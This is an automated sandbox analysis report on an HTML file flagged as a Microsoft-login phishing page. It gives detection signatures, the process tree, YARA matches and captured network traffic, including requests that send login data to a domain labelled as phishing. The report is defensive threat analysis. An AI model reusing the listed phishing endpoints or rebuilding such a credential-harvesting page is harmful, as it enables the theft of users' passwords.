Edit tour

Windows Analysis Report
doc55334.html

Overview

General Information

Sample name:	doc55334.html
Analysis ID:	1577968
MD5:	bc7dbf2b13d3e3a7b6db498a331d9d66
SHA1:	a9d5419dc93e293dee46b0912b7c392df46a667e
SHA256:	d120701caf6f4cf09e085836a241f2e804dc129a8a8d8a5847c9aed5ccf647b2
Infos:

Detection

HTMLPhisher

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Yara detected HtmlPhish76

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious title

HTML file submission containing password form

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 760 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\doc55334.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1992,i,16668579534507278188,5623200601774063005,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.1.pages.csv	JoeSecurity_HtmlPhish_76	Yara detected HtmlPhish_76	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 18 Dec 2024 22:24:09 GMTServer: Apache/2.4.52 (Ubuntu)Access-Control-Allow-Origin: *Access-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Content-TypeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4730Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c5 5a 0b 73 db 46 92 fe 2b 88 94 6c 91 b1 30 c2 3c f0 a2 2c e5 e9 94 73 15 6f b6 d6 8e 73 39 d3 b9 83 80 21 89 08 04 18 00 a4 a4 28 bc df be 5f 0f c0 07 28 41 b2 2b 7b 75 e5 32 38 98 e9 ee e9 e7 37 3d a4 ee 8e aa 3a aa 97 d5 d1 e8 a8 5a c6 b1 ae aa a3 93 a3 39 3e a2 a9 c6 dc cb 37 af 7e b0 e2 22 af 75 5e 5b 89 ce d2 95 2e 75 62 b5 a4 93 65 96 dd 32 30 cc ea 79 06 ea e7 9f 7c fb e3 37 6f 7e f9 c7 0b 8b 26 2e 9e d3 d3 ca a2 7c 7a 3e 3e d2 f9 f8 08 33 3a 4a 2e 9e cf 75 1d 59 f1 2c 2a 2b 5d 63 e9 a7 37 df d9 01 ad 66 69 7e 65 95 3a c3 5c 35 2b ca 3a 5e d6 56 8a dd c7 47 d6 ac d4 13 4c 27 51 1d 8d d2 39 94 1b 9f de d8 b4 76 76 82 d5 fa 76 a1 b1 da 59 20 81 66 a3 59 5d 2f 6c fd fb 32 5d 81 e4 3f ed 9f be b2 bf 29 e6 8b a8 4e 2f 33 0d de d6 3a ac 7d ff e2 5c 27 10 b0 61 cc a3 39 49 5d a5 fa 7a 01 6d 3a b4 d7 69 52 cf ce 13 bd 4a 63 6d 9b 97 93 34 4f eb 34 ca ec 2a 8e 32 7d ce 4f 96 95 2e cd 4b 84 8d ce 1d 12 5b d5 b7 99 be 38 ce 8a 28 49 f3 e9 eb b8 d4 3a bf 5b 14 15 18 8b 7c 34 49 6f 74 72 56 17 8b 91 73 76 59 d4 75 31 c7 20 d3 93 1a 1f 65 3a 9d d1 e7 65 14 5f 4d cb 62 99 27 76 5c 64 45 39 3a 9e 4c 26 eb 8d c4 1f 8a 69 f1 90 3c 28 11 0f 5c 67 35 b3 6c 2b 74 16 37 c3 46 ec 66 fa 7a 3b 6d 2c 19 f1 00 2f 67 33 6d f6 34 2f eb e3 57 af 1f 12 de aa 29 3d d0 df 13 a9 5c 88 5c b3 24 2a af ac 03 9b ef 9b 21 a5 6c 48 ff ae af 9f a6 e6 13 fa b7 1e 95 45 51 df d9 76 d5 aa 6c db 3a 5f fd 3c e2 72 fb f2 72 e4 73 33 86 62 58 e0 81 79 a9 7e ff b9 d1 74 15 95 83 66 6d 68 8d 4f 2d 39 34 8b 2f 47 d2 df 30 bd 7c 39 12 ce f6 65 9f 0b 74 43 eb 73 4b 5a cf ac ad 98 97 2f 87 c3 86 f4 97 83 0d 40 fb cc 12 c6 c9 cd fa 8b 9b fa 3e 89 6d 05 7b 24 3f a2 da 7a c8 42 d1 90 4d b2 68 f1 7a 14 7a 46 43 7a 69 55 74 98 eb 42 b9 86 89 fc 30 dc 52 53 7a 76 b4 33 6c c6 fe dd fb cf 94 08 86 27 59 96 23 b7 5a 1f 53 ee 47 69 ae cb bb 26 49 5a 27 0c 37 79 b2 7d 8f 72 d4 a1 c9 91 4b 84 2c d6 ad 54 c8 19 5a 69 3e a1 32 d1 eb 2f af f4 ed a4 44 81 55 56 43 75 e7 7c 76 57 97 51 5e 4d 8a 72 3e 32 a3 2c aa f5 2f 03 67 b8 e6 82 b9 fd ab a2 7f d5 a7 04 94 8f 72 bb 8f ec eb 7b 8c f7 af 06 de 63 bb 72 e7 11 c1 54 b0 28 a6 4d 85 f9 21 c2 d7 96 9e 49 dd 02 81 9f 64 c5 f5 68 96 26 89 ce cf e6 51 39 4d 73 9b 4a d9 76 89 b8 9d 30 25 27 5c aa cf 6d 78 5e cf a2 a4 b8 de 15 2a f0 14 d1 58 69 03 04 dc e4 f2 96 ed 6c 3f 94 54 3a 07 d1 34 89 83 22 2f 13 40 59 89 92 5c 56 23 c7 72 2c 58 48 ff b1 72 63 57 66 bf 51 39 bd 8c 06 ce 09 fd 63 c2 1d 82 48 81 88 f6 d8 e5 43 43 6a 4f a2 e4 c9 a4 d8 23 a5 cc 28 16 51 9c d6 b7 23 67 2d 38 13 fb ef ca df bd f1 b5 ef ec bf 05 1d 4e Data Ascii: ZsF+l0

Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v3/auth HTTP/1.1Host: fugatyu238adneu90ew4s.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_8owwt4u-33ps0wawi7tmow2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 154.216.17.193Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: fugatyu238adneu90ew4s.org
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauthimages.net
Source: global traffic	DNS traffic detected: DNS query: passwordreset.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com

Source: unknown

HTTP traffic detected: POST /api/v3/auth HTTP/1.1Host: fugatyu238adneu90ew4s.orgConnection: keep-aliveContent-Length: 171sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, */*; q=0.01Content-Type: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: https://fugatyu238adneu90ew4s.org/api/v3/login	Avira URL Cloud: Label: phishing
Source: https://fugatyu238adneu90ew4s.org/api/v3/auth	Avira URL Cloud: Label: phishing

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Source: 0.1.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/doc55334.html... The provided JavaScript snippet exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and interaction with suspicious domains. While the script appears to have some legitimate functionality, such as generating a UUID and checking the validity of an email address, the overall behavior is concerning and requires further investigation.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/doc55334.html... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script uses the `Function` constructor to execute remote code, which is a major security risk. It also appears to be sending sensitive data (potentially user credentials) to an unknown domain. The heavy obfuscation of the code and URLs further increases the suspicion of malicious intent. Overall, this script exhibits a high level of risk and should be treated with caution.
Source: 0.3.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/doc55334.html... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the script's ability to execute arbitrary code on the user's system make it a significant security concern. While the script may have some legitimate functionality, the overall risk outweighs any potential benefits.

Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: New script, src: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: New script, src: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js
Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: New script, src: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js

Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo...	HTTP Parser: Number of links: 0
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG...	HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/doc55334.html	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEGsu0-aLYEGmeo	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found
Source: https://passwordreset.microsoftonline.com/Default.aspx?ru=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Freprocess%3Fctx%3DrQQIARAAhZLNa9MAAMWbdq1b0dlNET0IEzzIJG2-0xR2SJt-pFuStU0amoOlaZM0bZqkbdK0uYseB8LAgRcPojt6Ei8Kehi7uPP8DwRFPMiObnoeXh7v8d7t_ZLLRBom0lAa2owhaSh3HyMJHMNwFUSRLgFilAqBWVQjQLhHoecVQhLdzmQ9mXr8xL-3_yNTePN8bbO59fnFIbDR9zx3mstkgiBIO7pudrV01xllrI7dM21jhrwDgBMAOIjGNRuUGofRKYFmYZTCYQInYRQlYRhJt0QabslsqAw4TyizGG9CkCJagx25OuTCoseLUtgKhwuuXMQUWYK4cAgrMhcI4tDjRmzIFy72tcWO2B8JIudxTG3BDaSAZySEZ2r4afS6QPteH7kQZ2KG2q_oiu5MRm3XmXoHsf0oa2_LVLkyq3f8Rcjy42q1gpCmQMlwFxs7xZaUX_TC1rRdsn18Z9uFFFrtg9VCXfLl4XAATjhyx9iFbFKCkOliYbCo2K-apqzkLV0k59uUU1B5vcD2XAItBc1i1RBMexdCbdjrBzZfLpXzou808Www5STOmtfAkS_DeAlSF0h7e9jlVa_RbWBzmOk4vR4KVXlZ1gJK1gdsVt015tREwAl80pg3CmatrxqjsSVW8CZV4uyybMrZPO-5TYyzS2irgyjCjDXyltFG9VCv0_zApcJsvUkTSjB383gFZECD7jShRnAYu3PJvTPkbSxxbkaOfRwjHVezzd6GO3F009IuQ2KGZIS_qeKMtDRtWSdLwLelW8uJVOp2ZCPy4CYUyy0vJ1ORi3S2BLyMnxMXxlcTj-4q9OuVr59-j6nIcTzTLNgMjVMGKs_6XmgV8g8JXrJ0oYQTZTxDDOcNX-34vfmYcbbgHLyXAPYSiePEG	HTTP Parser: No <meta name="author".. found
